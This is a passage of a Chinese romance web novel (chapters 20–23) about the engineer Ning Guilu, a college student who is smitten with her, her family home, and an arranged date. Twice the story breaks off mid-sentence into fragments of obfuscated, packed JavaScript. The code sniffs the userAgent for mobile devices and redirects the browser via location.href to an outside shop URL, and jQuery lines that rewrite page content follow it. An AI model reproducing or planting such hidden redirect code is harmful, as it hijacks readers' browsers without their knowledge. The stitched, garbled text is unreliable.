他锲而不舍地定时定点早晚安,终于在第五天的时候捱不住了。 话一发出去,他立刻就想撤回。可这是短信,没有五分钟内撤回的“后悔药”。 他盯着手机,毫无头绪地打开了数个应用试图转移注意力。却又在下一秒弹力绳般退回了短信界面。 其实他知道,她大概率依旧不会回复他的。那天之所以给他电话,其实也只是帮他解围而已…… 成年人世界,不回复就已经是答案。 只是他不想承认,在心里自我洗脑,这可能只是考验。 突然,手机一振。 他呼吸猛地一滞,像“当啷”一声,鸣钟击破,回声阵阵。 只见对面浮现了一个白色方框,里面写着:来吃饭不? 正在打游戏的室友听旁边“砰”一声巨响,惊得拨冗回头看了一眼,震惊地看见这个往常睡得比谁都早的室友竟然在穿外套。 “你要去哪啊?” “出去吃饭。” 室友眼睛差点砸□□上:“这个点了,宿舍都要锁了,你要出去吃饭?” 浴室门开了,黄温意趿拉着拖鞋走出来。看见辜行青往外走,他冷笑了一声。 辜行青拉拉链的手顿了顿。没说什么,换了鞋拿起手机快步走了出去。 他看了眼信息,嘴角弯了起来,压都压不下去。 她说:发个定位,我来接你。 21. 第二十一章 二十分钟后,一辆白色轿车停在了西门路边。 临近宿舍闭寝,校园里的身影已门可罗雀。逆流而行,他是跑出去的。 在门口等了不到十分钟,她就到了。 车灯打了双闪,朝着他忽闪忽闪。 辜行青跳起来,快步跑了过去。夜色暗淡,他躬身,从窗口往里看。 副驾驶的车窗滑了下去,露出那张明晰的脸和似笑非笑的神情:“愣什么?上车。” “啊!好!” 他扬声喊了两句,喊完后才发觉自己这行为特傻,忍不住在心里唾弃自己一下,动作却麻溜,拉开车门,长腿迈进,上了车。 宁瑰露:“安全带系好。” “好。”他紧张得手忙脚乱将安全带扣上。 宁瑰露关了双闪,打了把方向盘回主干道,问他:“你们这附近还有什么没打烊的餐厅吗?” 他想了想:“有家韩料,一般营业到十一点。” “行,指个路。” “要掉头……不掉头也可以!”他伸手往前比划了个圆弧,“前面直走,第一个十字路口右拐。” 风从敞开的副驾驶窗户往里吹,将他身上淡淡沐浴露的清香也带了过来。 宁瑰露微微侧头问:“是不是洗过澡准备休息了?” “没,没有。我在备考教资,晚上翻了翻书。” “考教资?你不是学新闻的吗?” 他声音干巴巴:“就,大家都在考,我也跟风考一下。” 宁瑰露轻轻地笑了一声。 她没再接下去,车内迅速安静下去。等红灯右拐时,这种安静又显出些两相无话的微妙。 沉默总是尴尬的。 隐隐意识到是自己把天聊死了。辜行青简直想抽自己一下。 这破嘴!赶紧说话啊! 他憋了半天,憋出来一句:“你怎么还没吃晚饭?” “白天在补觉,刚刚睡醒。”红灯绿了,她打了把方向盘向右拐。 对面过来的车灯一闪,照得她搭在漆黑方向盘上的指骨更见瘦削。 她瘦得太过。一件简单的浅绿衬衫上衣,只解开一粒扣子,领口仍松松的往下掉。 “你是不是几天没好好吃饭了?”他脱口而出。 “嗯?” 从他语气里捕捉到难以掩饰的关切。她意外地从后视镜里看他。 “你太瘦了。”他声音霎时又低了下去,喃喃的,像不知道怎么办才好。 她嘴角上扬,放下车窗玻璃向外看,“你说的那家店在那里?” 少年心事来得快,去得也快,他抬手,掌心往前示意,声音复又清越开心:“前面辅道左拐,第二个路口往右进就到了。” 很近的一家小店,七八百米,不到五分钟就到了。 店面还算宽敞,内外两间,墙面上贴满了日韩的电影电视海报,背景音乐放着一首轻吟低唱的韩语歌。这个点了竟还有不少小情侣在约会,服务生们忙得热火朝天。 见有客人,服务生快步走出来打招呼:“欢迎光临——请里面——哎,小青哥!你怎么来了?” 宁瑰露打量着小店样式,闻言目光落回辜行青身上。 青年稍微侧头,有些羞涩,吊顶的橙黄灯光落进他眼里,星光熠熠的,像浮光海。他说:“我和朋友来吃宵夜。” 那穿着黑色制服的少年顺势看向宁瑰露,揶揄的神色一闪而过,笑着露出了两颗虎牙:“姐姐好!就你们两个人吗?” “嗯,给我们找个凉快点的位置吧。”宁瑰露倒不尴尬,坦然大方。 “我给你们开风扇!”少年笑着,步伐轻快地引着他们往里间去。 里间的后门已经关上。那是一扇木质的移门,带菱格的小花窗反着凌凌的光。少年给他们拉开了壁挂的风扇,道:“里面人少,你们坐这吧。” 少年放下一本菜单,笑嘻嘻交代一句点好后叫他,去前面忙活了。 “经常来这吃饭?”宁瑰露问。 辜行青低头替她撕开餐具薄膜,抽了张纸巾,仔细擦着碗碟,回答:“我在这里做过一段时间兼职,所以,和他们认识。” 宁瑰露一只手搭在桌上,另一只手将菜单推给他,示意他来点单:“现在没做了?” “嗯,这个学期接了两个家教,周三晚上还有一节选修课。”他将干净的碗筷递给她,又将她面前的碗筷拿过去。 翻开菜单,他道:“这里的牛肉拌饭和天妇罗很好吃。” “不是韩料店吗,还有天妇罗?” 这话辜行青没法接,笑着弯了下眼睛。 她嘴角也噙着一抹笑,指节支着下颌,微微侧头认真看他:“你很爱笑啊。” 壁扇幽幽地吹着,她柔顺的头发有些长了,被风吹得在脸颊上一阵阵轻搔。 辜行青想说,没有,我平常不怎么笑的。可是这话已经没有了说服力,因为他一看她的眼睛,就想笑。 脸也好烫,领口下像有火在烧。 他试图调整呼吸,低着头,用手指按了按心脏,再一抬头,对上她盛满了笑意,仿佛已看穿他的眼,霎时破了功,像倒了一盘红染料,从他白皙的下颌一路烧到了眼尾,瞧着快要臊哭了似的。 她终于忍不住,指节遮着唇,朗声笑了起来。 “怎、怎么了?”他干巴巴问。 “真神奇,”她看入他的眼睛,声音亲和,神色真挚,“我第一次看见你,就觉得熟悉,说不定上辈子我们就是老朋友。” 骗人。 第一次见面,你根本没有注意我。 理性上,辜行青觉得她在胡说八道。他们那样的人,都最会骗人了。感性上又忍不住向她靠拢。 万一是真的呢? 万一她……她和那些轻纵的人都不一样呢? “你……”他左手手指紧扣着右手,将虎口都掐红了,想尽力用轻描淡写的语气问,“你这周,很忙吧?” 是因为忙才没有回他消息,而不是有空了才想起他这条“鱼”?对吗? “是啊,对不起,”她这样真诚地道歉,然后解释,“我这几天出项目,封闭实训,没能看到你消息。应该提前和你说的。” “没关系。”他立刻原谅。 瞧着她眉宇间淡淡疲惫的神色,辜行青不由更担心:“是不是这几天都没怎么休息好?” 她的手指拨弄着小巧玲珑的茶杯,轻轻叹气:“我们做工程的,007是常态,偶尔一有紧急任务就要失联,一般人都受不了我们这样的。” “也不是都受不了。”辜行青认真说,“我能理解你。” 她弯着唇笑,“如果每个人都和你一样通情达理就好了。” “……每个人?” 他敏锐捕捉到话里藏着一个第三人。 “我是说,你很特别,你和其他人都不一样。” 可我们才见过三次。 不,对你来说是两次。 不不。这不恰恰说明,我在她心里是“特别”的吗? 他表情时愁时喜,脸上神色莫辨,神思游离。 宁瑰露盯着他,那双眼睛只装着一个人,坦然,不遮不掩,太容易让人觉得她眼里装着坦荡的欣赏与深情。 那少年拿了一壶清茶来,又将他们勾好的菜单拿走。走时,倒退着,盯着他们俩直笑。 佯作镇静。辜行青起身给她倒了一杯茶。 她食指轻叩,以作谢答,又问他:“这个学期很忙吗?” “还好。”顿了顿,他补充,“课不是很多,我们还有周六日放假。” “工大离你们学校不远吧?我偶尔在那边。你有时间可以过来找我玩。” “你在那边上课吗?”他好奇问。 宁瑰露笑着摇头:“我不是老师,只是暂时在院系里挂职。” “那,有固定时间吗?什么时候可以去找你?” “周六下午。偶尔工作日也会去看看。” “那其他时间你在哪里上班?”他对她的一切都很好奇,不经思考的话脱口而出。 她在唇前竖起一根手指,“机密,小朋友不要瞎打听。” 辜行青这才反应过来,一时又窘迫:“不好意思,我话没过脑子。” “没关系,”她学他的话,又笑吟吟说,“是你的话,没关系。” 他将“为什么”的疑问咽回肚子里,从她不遮不掩的目光里似乎得到了答案,欲盖弥彰地端起茶杯仓促抿了一口茶。 吃过这一顿饭,已经过了十一点了,服务生开始收拾起了桌椅,他们才不紧不慢地离开。 回到车边,宁瑰露好似这时候才想起来问他:“你们宿舍是不是关门了?” 他轻轻地“嗯”了一声。 她站在车边,手撑着车门,笑问:“那你晚上去哪?” “我找个酒店住下就好,你先回去吧。”他声音温和,挺拔清俊地站在夜色里,像一株青兰。 她看了他片刻,忽然促狭地弯了弯眼:“那要不要跟我回去?” 他瞪大了眼睛,脸霎时臊红了,又强撑着正色:“你,您……不要开这种玩笑。” 她舒然一笑:“大晚上的,一个人走夜路不安全,上车吧,送你去酒店。” 他稍微犹豫了一下。 想和她再多待会儿的心胜过了踟蹰,终究还是拉开车门上了车。 没有像个色中饿鬼,宁瑰露彬彬有礼地把人送到了附近酒店,还颇为绅士地给他开了一间套房,目送他进电梯后才离开。 恢复一个人,她脸上那温文尔雅的笑容立刻散了,又挂上了那副索然无味的神色,开着车漫无目的地在大学城附近绕了几圈。 虽说她是土生土长的京市人,但没怎么来过这边。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978595|135645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就和住故宫旁边但她根本没怎么去过故宫一样。 距离太近了,就会失掉对美、对宏大的感受。 人人都挤破了头想进入的京市大学,在她眼里也就那么回事。 人依然还是人,不会因为智商高、成绩好、学术成就斐然就具备更崇高的人格。 智商高的人往往更会给自己不耻的行径找开脱的理由。 比如她这会儿,脑子里想的就是怎么骗小男孩。 ——当然,怎么能说是骗呢? 只是拓宽一下友情而已。 人生这么漫长,连一点乐子都找不到,那得多无聊? 吃饱喝足,回去也睡不着了。进了市里,她索性决定回家一趟。 龙翔台这个点已经都静了,连路灯都熄掉了大半。 家里叔伯让老爷子搬去御澜庭住,她挺认同的。 她也不怎么想来龙翔台。 这儿装载的东西太多。儿时的回忆历历在目。数十年过去,连她摔过跤的长街都没有变化。 轻易能勾起太多回忆。 关于亲情、友情……爱情。 她打小厌学,又拗不过铁石心肠的大人。上幼儿园第一个学期,用嚎啕大哭来表达抗议,每天哭得天崩地裂,没眼泪也要扯着嗓子干嚎。 宁江艇那时候才四年级,自己还是个小孩。每天早上把她扒拉醒,牵着她这头犟驴去幼儿园。下午放了学又把泼猴从幼儿园里背回来。 一路上要挨她无数拳,每天都骂骂咧咧威胁要把她扔湖里去,倒也没真扔过一次。 她人生中第一个朋友也是宁江艇。 宁江艇扶着她骑自行车,教她玩滑板,陪她练拳,当沙包,也把她当过沙包…… 她三十年的人生里有一半的时间和宁江艇形影不离,像个买一送一的泡面和碗。不搭调,偏偏又捆绑在了一块。 而现在,他们有六、不、七年没有见过了? 原以为他大学毕业后就会回京了,他却先斩后奏去了南岛工作,一去就再杳无音讯。从以前每天都发消息,到每周传讯,每月留言……现在已经以年为单位。 和很多人好奇她在西北到底是做什么一样,她也疑惑他在南岛究竟做什么。 当年老爷子让他留在京市,他为什么偏偏要去南岛? 老爷子又为什么从起初的震怒,甚至施压,到彻底“随他去”? 这么多年了,就是被发配流放去守岛了,也该回家一趟了。 除非是死了。 有时她甚至会大开脑洞地想,他可能真的死了,只是家里人都瞒着她。 不过,死了也好,祸害遗千年,他那祸害死了,至少不会再让人提心吊胆地牵挂着了。 好过现在常常在梦里相见,瞧见他变成了墙上一张单薄的照片,仓皇惊醒,分不清现实与梦境。 车没开进院里。 她在外面下了车。 家里人都睡了,她按了密码进门。没开灯,脱了鞋,拎着拖鞋赤脚上楼。 家里的地板还是二十几年前的旧花纹瓷砖,老旧的木梯在上楼时咯吱作响。 她蹑手蹑脚进了房间,轻轻合上门,这才肩背一松,按亮了灯。 她房间的窗帘拉着。书桌收拾得没有一件杂物。从小到大的课本和乱七八糟的东西都用纸盒装着,堆了四个大箱子在书桌边。 书柜里放着的是学生时代获得的证书和奖杯,还有擦得干干净净的相框。 她以前拍的照片可真多啊,鳞次栉比地摆了整整五层柜子。 有才一两岁和老爷子爬长城的照片,她坐在老爷子肩头,摆出一张高高在上的拽脸。 有小学艺术表演画得和猴子似的,扎着两个双马尾的照片。有在家里院子拍的傻乎乎比耶照。还有中学时候在大礼堂拉小提琴的照片。 她的合照也不少,但偏偏和宁江艇一起的照片特别少。 他不爱拍照,谁要是拿镜头对着他,就和拿枪口指着他太阳穴一样,他能蹿起来。 他那为数不多的几张照片也被摆了出来。 一张是她和宁江艇还有老爷子的合照,那是老爷子75岁大寿。一张是她拍的,宁江艇躺在老爷子的靠椅上看书,看睡着了,书遮着脸,曲着两条长腿。 照片过曝,灰蒙蒙雾蒙蒙的,像梦境。 高中成年礼时的照片也很多,大多数都是和老师、同学的合照。其中夹着一张相框,是她和一个清俊内敛的男孩的合照。 靠得很近。她在脸边比了半个爱心,他竖了个大拇指。特别没默契。 那天宁江艇说他会来的。 但他没有。 他倒是从国外回来了。从那时候起,他们关系就开始默契地维持起了表面的兄友妹恭。 宁江艇的朋友不多。 有一个算一个,她小心翼翼地替他收着。 22. 第二十二章 睡了那么六个小时,她却像上了发条的胡桃夹子,精力旺盛,半夜挽起袖子又把以前的旧物都清理了一遍。 小学到高中的教材这样的历史遗物都能丢了,一些鸡零狗碎的文具也一块打包了。还有一些买来就积灰的名著可以问问家里有没有小朋友要。 这么一清理,挪出了三个大箱子。 还有一些是小时候的玩具,现在都用不上了,她腾了腾,从那压得严严实实的箱子里竟又翻出来一个崭新的盒子。 她好奇地拿出来一看,里面竟是个挂着圆环的吊坠。 礼物? 她收累了,席地而坐,仰靠着床榻,手指勾着那条链绳,盯着那小圆圈琢磨了会儿。 细细打量才发现圆环后侧还有个标志,眯着眼睛看,辨认出是“999”。 纯银的。 她将小小的圆环转了一圈,意外发现内侧还有字,是一行小小的“1990.08.25”。 1990.08.25…… 像一根细小的针刺破气球,回忆像乍泄的空气,呼啸着冲破时间的封锁,碎玻璃般撒了一地棱片。 一幕幕闪现。 她后知后觉地想起,这不是别人送她的,是她买来送人的。 ——“老板,能不能刻字? ——“我写在纸条上了, ——“拜托刻清晰一点,我要送人的。 ——“一个喜欢的人…… ——“超级喜欢的人。” 银环在光芒下坠着,轻轻地摇晃。 还有一只,在别人那。 恍恍然的,她想起最近看见的那枚朴素无华而又突兀刺眼的戒圈。 ——“谌霁哥,结婚啦?” ——“没意义,装饰品。” 心口像被一枚凝滞延缓的子弹疾驰穿过,她缓缓低头,看见胸口被人开了一枪。 那枚她射出的子弹,拐了个弯,竟又打回了她身上。 你到底是什么意思? 庄谌霁。 是后悔,还是遗憾,是想挽留,还是在缅怀? 她似乎什么都清楚,她清楚他为那份她不会再回应的,那份他伪装成友谊、亲情,又或是别的什么的感情而痛苦。 她又什么都不清楚,什么都不清楚。 她不清楚真相是否如她所知,她不清楚人为什么总在自相矛盾,她不清楚“爱”这么美好的词,带给人的为什么尽是难堪的痛苦和疑惑费解。 天将破晓,她拉开窗帘,瞧见了一层薄蓝的天光。 她用力将有些锈住的窗户拉开,“啪嗒”一声响,窗户撞上墙面。清爽的风呼哧而入,将她的黑发吹得尽数向后飘。 干爽而凛冽的风,是独属于北方的气息。 而那带着淡淡像奶油,又像铁观音茶的气息,是院子里的,路道边随处可见的夏至草的味道,那是属于少年时代记忆里夏天气息。 她倚靠着桌台,环抱着手臂向外眺望着。 初夏将至,绿树成荫,栽种了几十年的树仍不算粗壮,像群刚抽条屹立的少年。 再望远,是被建筑错落遮蔽的北水湖,湖心有座假山,时常站满了鸽子,趴满了龟,里边的鱼养得膘肥体壮,也不怕人,一见岸边有人就慢悠悠地摆着尾巴游过去乞食。 龙翔台就像一个台风眼。这儿的每只手都能搅动一场极大的风暴,围绕在周遭的一切波诡云谲,而风眼中心风平浪静。 环抱着盛世太平。 她又想抽烟了。手指摸了摸裤兜,只摸到平整的裤袋。 已有五点过半,再过半个小时,家里人陆陆续续都要起了。 折腾大半个晚上,她终于累了。 窗户开着,她躺倒在床上,盯着已有二三十年历史、发黄的天花板。 风吹着,很舒服。 她微微阖眼,在风的吹拂下渐渐平缓了呼吸。 手里攥着的细绳显露出来,银白的戒指平静地躺在堆叠的绳线上,像一根手指,轻轻牵着她的指尖。 宁瑰露是被一声惊惧的“哎哟我天”给惊醒的。 她转头看去,家里阿姨被她吓得跳到了墙边,一个劲拍心脏:“小露,你什么时候回来的?吓死我了!” “昨天晚上……” 一出声,她就察觉不对,怎么声音这么沙哑? “老爷子说昨晚楼上闹耗子了,吱吱喳喳的声音响了一晚上,大家还不信,”阿姨哭笑不得,“原来是你这只小耗子回来了!” “哎,阿姨。”宁瑰露坐起来,揉了一把额头,“给我一包感冒药吧,我好像有点着凉了。” 确认她是吹风又没盖被子着凉了,阿姨絮絮叨叨地念叨了起来:“这么大人了,睡觉还不知道盖被子。” 老爷子背着手从她身后走过去:“年纪都长到狗肚子里去了。” “我就眯了一下,一个小时都没有。”宁瑰露抱着玻璃杯,不太有底气地反驳。 老爷子背着手又从她背后走过来,“以后你把小许带着走,我怕你不到四十就找不到回家的路了。” 宁瑰露笑开了怀:“我把许姨拐走了,谁来照顾您老人家?” “我总有天要死的。”老爷子说。 宁瑰露脸上的笑容倏地僵住了。 老爷子还在踱步,似乎一点不觉得自己说了什么骇人听闻的话。 宁瑰露僵了僵,勉强抿出个无奈何的笑容:“您都一大把年纪了,怎么说话还跟小孩似的,这么语不惊人死不休?” 老爷子在沙发处坐下,薄削的身板苍老而直拔:“我都这把年纪了,还有什么避讳的?” “您不是一直老当益壮吗?”她学老爷子的口吻,“‘老子我16岁就参军了,你们这帮兔崽子,16岁了遇到点屁事就在这爷爷爷爷!滚一边去!’” 她学得惟妙惟肖,阿姨旁听了一耳朵,忍俊不禁,笑得前俯后合。 宁瑰露却笑不出,只勉强挂着云淡风轻的神色。 见她没大没小,老爷子左右看看:“老子的拐呢!” “哎!君子动口不动手啊!” “君子?老子是你老子的老子!”老爷子作势要抽鞋揍她。 宁瑰露立刻拱手作揖,滑跪得一气呵成:“我没大没小,我错了。” “骨气!”老爷子恨铁不成钢,“出息!” 她比了个大拇指,“您是这个,”又伸出小拇指,混不吝道,“我是这个。家里的大梁您顶着呢,我在您面前要什么骨气?做条小虫就好。” “我都八十九了,还给你们撑梁,把我棺材板撬一块镶天花板上得了!” 宁瑰露哽得没话说了。这老头,以前训他们,这也不能说,那也不能说,规矩一套一套,他自己倒是荤素不忌,什么话都张嘴就来。 家里做饭的付姨喊一声:“快别聊了,面要坨了,来吃面!” “刚出锅呢,哪坨得这么快。” 宁瑰露走到餐桌边。付姨拿了个缸似的海碗给她盛了满满一大碗面,老爷子就碗巴掌大的敞口碟,不知道有没有一两。 “老爷子,你就吃这么点啊?” 她扭头问老头。 老头慢悠悠走过来:“我要是你这么大,能吃你这三碗不止。” “怎么年纪大了胃还小了?”宁瑰露把老爷子的碗拉过来,夹了一筷子面掺里边,“您老不吃饱哪有力气骂人,多吃点。” “泼猴。”老爷子点点她。 “呼——我是泼猴,您是唐僧,我哥啊——就是猪八戒,没您老在,我们这取经小队九九八十一难,一难都过不成就各得回各家。” 她吹吹面,边呼边说,觑着老头神情,见他没什么反应才接着道:“爷爷,我哥在南岛都快八年了,您是不是也该放他回家了?” “我又没拦着他,跟我说有什么用?” 宁瑰露抓耳挠腮,试图晓之以情:“您就不想您的大孙子?八年啊,他要是留在京市结个婚,现在您曾孙都能扯着你胡子喊‘爷爷爷爷’了!” “老子没胡子!” “行行行,就是个例子,怎么还较这真呢!” “与其操心你哥,不如管管你自个儿。你都小三十了,你自己什么时候能收收性子,把家成了?” “哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006359|135645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有你们这样的。上学的时候不让我谈,突然就让我给您找个孙女婿回来,我总不能上大街上给您抢一个吧?” “上学时候…”老爷子瓮声冷笑,“你还敢提这茬。他娘的,老子没打断你狗腿那都是……” 一看老爷子又要翻旧账了,宁瑰露立刻投降:“得得得,那都多少年前的老黄历了!师父!别念了!” “老子不是老古板,这新时代了,不兴包办婚姻那套了,但张家的没门,老子就是死了,你也甭想!” 宁瑰露这狗屎脾气,逆反心一下就有点冒头了,“都说没有了,俘虏还讲究个宽大处理呢!您这旧账怎么还翻得没完没了了?” “嘿,你还跟老子喊上了!” 大门“咔啦”一声,被拉开了。来人意外道:“大早上的这么热闹?” 宁瑰露看过去,勉强收了气性:“海岭叔。” “昨儿回来的?” 她瓮声瓮气:“昨晚上。” 孟海岭说:“我一瞧你车在外边呢,就知道你来了。” “小孟,怎么早上来了?”老爷子也同他打声招呼。 孟海岭手上还提着东西,换了鞋,拎上桌道:“这不是到吃杨梅的季节了吗,我丈母娘家的杨梅收了,送了几箱上京来。” 对孟海岭,老爷子是很喜欢的,要不是孟海岭婚结得早,他又没有女儿,他非得把孟海岭拐回家了不可。 这会儿老爷子已经云销雨霁,和颜悦色道:“小孟啊,你们家留着吃就好了,不用什么都往我们这送。” “家里多着呢,哪吃得完。我家星星倒是爱吃,吃多了上火,我老婆正发愁呢。” “小孩还是得看着点,不能让他贪嘴吃多了。” “所以您老放心吃。我家管够。” 宁瑰露已经上手开盒子了:“唷,这大杨梅,仙居东魁的吧?” “小露还是识货。” 见她没洗,拿起来就要吃,老爷子一下又笑骂:“属你最馋!洗了再吃!” “没事,这杨梅没打药。”孟海岭笑着,又问宁瑰露:“小露,中午你有事吗?” “怎么了?” “出去吃个饭。”知道她那脾气,要是不讲清楚,她是要发火的,孟海岭直白道,“你大伯上周就想找你了,但你不是去特训了吗。正好今天撞上,你大伯带你见见朋友。” 宁瑰露差点被杨梅汁水呛着:“相亲啊?” “也可以这么说。” “我不……” 老爷子先声夺人:“你去。” “您刚还说不主张包办婚姻呢!” “你大伯介绍的,比你认识的那些不三不四的人靠谱!” “我什么时候认识些不三不四的人了?”宁瑰露为这红口白牙的冤枉郁闷至极。 “这是命令。今年你还不当回事,明年我就让宁华胜给你派个人压民政局去。成天的不着调,吊儿郎当,哪家闺女三十了还跟你一样?” 老爷子一动怒,血压就往上飙,戴着的检测仪“滴滴滴”地直响。老头一上火,直接扯下来甩了。 宁瑰露把那句刚想要喊的“当年打豪强怎么没把您给漏了”咽回肚子里去,哽了个脸色姹紫嫣红。 “哎哟我天,”宁瑰露头都大了,“我今天就不该回来。我洗杨梅去!” 她逃去了厨房。 孟海岭捡起表,安抚老爷子,笑着道:“您别着急,露露还是听您的话,肯定要去的。” “听我话?”老爷子冷哼,“俩混账,没一个省心的!” “您是求全责备。露露和小艇,一个不到三十的总工程师,一个年纪轻轻的警督,拿出去,哪个不说咱们宁家不孬?” 孟海岭看看厨房,见宁瑰露还没出来,他俯下身,低声在老爷子耳边道:“最近的消息,小艇他抵京……我们这边要不要……” “随他去!”老爷子沉声,“我倒要看看他到底想干什么!” 宁瑰露听到了这么一声,怒了,从厨房里传出一声愤怒的:“我又干什么了!” 孟海岭扬声来哄:“没说你呢,赶紧洗了杨梅过来吃吧!” 23. 第二十三章 中午十二点整,受老爷子下的“军令”,宁瑰露开车跟孟海岭到了一家国字开头的大饭店。 没有小桥流水曲折回廊的婉约造景,亮堂堂、整洁而气势开阔的大厅,入目就是一副苍莽幽邃的《山水清音》墙雕。 大理石地板色调庄重,高灯穹顶明净澄碧,红木的扶手格纹是三交六椀和步步锦,寓意天地之交,步步高升。 身着黑色正装的服务生认得孟海岭,叫了一声“孟先生”,领着他们上楼进包间。 二楼有片偌大的休息区,没有什么人,此刻却传出清澈悠扬的钢琴声。 宁瑰露一听就知道不是电子乐,侧头问服务生:“有琴师在?” 服务生的目光投向楼梯另一侧,语气不太确定:“应该是位客人。” 宁瑰露停下的脚步复又抬起,踱至琴声传来的楼梯拐角。 黝黑光亮的三角钢琴撑开键盖,坐在钢琴后的男人白色衬衫袖口挽至上臂,修长洁净的手指在琴键上游走。节奏有些快,但胜在流畅,情绪也饱满。 弹的是一首降B大调的华尔兹舞曲。 晶莹剔透的音色,像玻璃球弹跳,轻盈悦耳。 最后一个音缓缓落下,宁瑰露抬手掴了三下,掌声响亮。 坐在钢琴后的男人抬头侧目,瞧见了一位女士。 她身着一件黑色针织无袖上衣,杏色长裤,腰间系一条宽大的咖色皮带,很舒适的穿着,挺拔站着,没有什么亮色,却叫人难以忽视。 “很好听。”她笑着说。 李骧起身,不太好意思:“献丑了。” 他抓起放在一旁的外套,让开位置,掌心一抬,示意她也可以过来试试。 宁瑰露微笑摇头。 男人读懂了回绝,回之一笑,点点头,转身离开了。 “怎么样?” 耳边传来一道声音,宁瑰露回头:“什么怎么样?” 孟海岭微笑:“钢琴弹得怎么样?” 她中肯评价:“水平一般,勇气颇佳。” “咳,”孟海岭呛了一声,“你刚可还夸人弹得好听。” “大师作曲,当然好听。您上去敲两个音,我也夸您弹得好听。”她正因被安排相亲这事带着不爽快,话语带刺,夹枪带棒。 “你啊,真是……” 孟海岭叹笑着摇头。 几分钟后,宁瑰露就明白孟海岭适才为什么那样问了。 六个人的小厅,大伯和大伯母都已到场。 用餐标准很低调克制,桌上仅放着几碟中规中矩的冷盘,坐在近门处的青年穿着深色行政夹克,听见门开声,回头望来。 不巧,正是刚刚弹琴的那位。 见宁瑰露进来,他眼里惊讶一闪而过,随即起身。 熨烫硬挺的行政夹克,干练齐整的平头,五官端正,浓眉大眼。外形已是长辈心目中的标准女婿模板。 就算来时不多愉快,此刻她也不得不叹服于大伯选人眼光之毒辣。人海何其茫茫,他一眼能挑出个老爷子最中意的孙女婿类型。 要怎样形容这种招长辈喜欢的气质? 严肃且活泼? 宁华胜和江文娴都是日理万机的人物,今天拨冗都来了,可见对她个人问题有多重视,能约见的对象自然也是千里挑一。 她的位置就安排在青年身侧,撮合的意味已不言而明。 她也没拂长辈颜面,话题配合地聊着,配合地把这顿饭吃了,还和对方换了个微信联系方式。 “李骧。”她读了一遍名字,笑道,“这个字倒不常见。” “取奔马意,寄寓家慈的一点厚望。” 他讲话不急不缓,很是温和敦纯。 宁瑰露都能想到大伯和大伯母是怎么考量的——她这样的性格,万万不能再找个性子急的,不然俩人非得打起来不可,最好是宽厚圆融的性格,中和她的锋芒,方能张弛有度。 饭宴散场。 李骧问:“宁小姐是回家还是……” “我回单位。” “宁宁,小李没有开车来,你送他一下吧,不远,就在第一医院。” “宁宁”,家里只有大伯母这样叫她,温柔有力,叫人说不出什么拒绝的话。 “行,小李同志,跟我走吧。”她同李骧道。 李骧冁然一笑。 从地下车库上了车。李骧才开口说:“你和我设想的不一样。” “什么不一样?” 她看着窗外后视镜,注意后方来车,准备掉头。 “我以为像您这样做军工的,应该很严肃。” 宁瑰露随口问:“我不严肃吗?” 他忍俊不禁,“……您挺幽默。” 宁瑰露笑了,“都是刻板印象。大家还都觉得医生手指灵活,应该很会弹钢琴,但……”心直口快的话秃噜到一半,强拐了回去,“……你也挺不失众望。” “小时候学过一段时间,可惜天分不够,长大了也就剩下点装模作样的花架子,练了一周才把钢琴捡回来。” 在门岗一声“嘀,京F07*28,请通行”中,她将车开出了地下车库,上了主道。 “你倒很实诚。”她说。 “在聪明人面前自作聪明会显得特别蠢。”他更诚实地说。 宁瑰露读懂了他的意思,笑了笑,其实不太在意:“我大伯没这个情调,是我大伯母安排的吧?” 李骧笑而不言。 她又问:“谱子是你选的,还是我大伯母给你定的?” 他不方便直说。相视一笑,便已了然。 这次轮到李骧问了:“这首曲子是有什么特别的含义吗?” “噢,我以前拉小提琴,回课时敷衍老师就喜欢拉这个谱子,练得熟了,一握弦就有了肌肉记忆,算是印象深刻吧。” 还有一点…… 但宁瑰露也不能肯定。 曾经有一场毕业文艺汇演,有一个人被临时拉去救场,穿着晴空蓝的校服,沉静地坐在钢琴旁,第一个键落音,嘈杂的现场蓦地一片寂静。 他无疑是极有天分的,就连外行也能听出那样音准、流畅和节奏的浑然自适。 而在那之前,在场竟鲜有人知道他会弹钢琴。 她有回练一支谱子,怎么都拉不好几个滑音,一怒之下甩手将一本谱子全扔了,天女散花般撒了一地。 他蹲在地上给她一一拾起,捡到她练着的那张谱,看了一会儿。 撒过气,她把小提琴当靠枕,支着脑袋,问他:“你会看谱吗?” 他笑笑,说:“不太会。” 散乱的纸页被收拾得规整,压着一只小杯盏放在她手边茶几上。他说:“你很优秀了,怎么还对自己这样苛刻。” “装逼嘛,当然要拿出点真材实料来装,不然多贻笑大方。”她说。 对她的粗痞,他很有点无奈,但他仍是那样安静而沉默的。 他不会评价她的水平,自以为是地指指点点,只会轻轻握起她那反反复复蜕皮,长满了横茧的手,用剪刀剪开一张膏药,撕开背胶,平整地贴在她因反复拉弦而肿胀酸痛的腕横韧带上。 那草坪宽阔,空荡无人。 她仰靠着横椅,挂着脑袋望天。 天晴无风也无云。 琴包随意扔在地上,她指尖拨动着琴弦,而他,和她相隔一个空位,肩膀低垂内扣,将一张白纸放在膝上,寥寥几笔,勾勒出了她的轮廓。 一辆本要驶过的黑车停在了草坡下,车窗落下,露出大伯母那张彼时还很年轻的脸,她笑着叫她:“宁宁。” 宁瑰露一惊,悚然坐直了身。 江文娴看看她,又看看那少年,指尖轻点太阳穴,眼底笑意斐然:“你们在这做什么呢?” 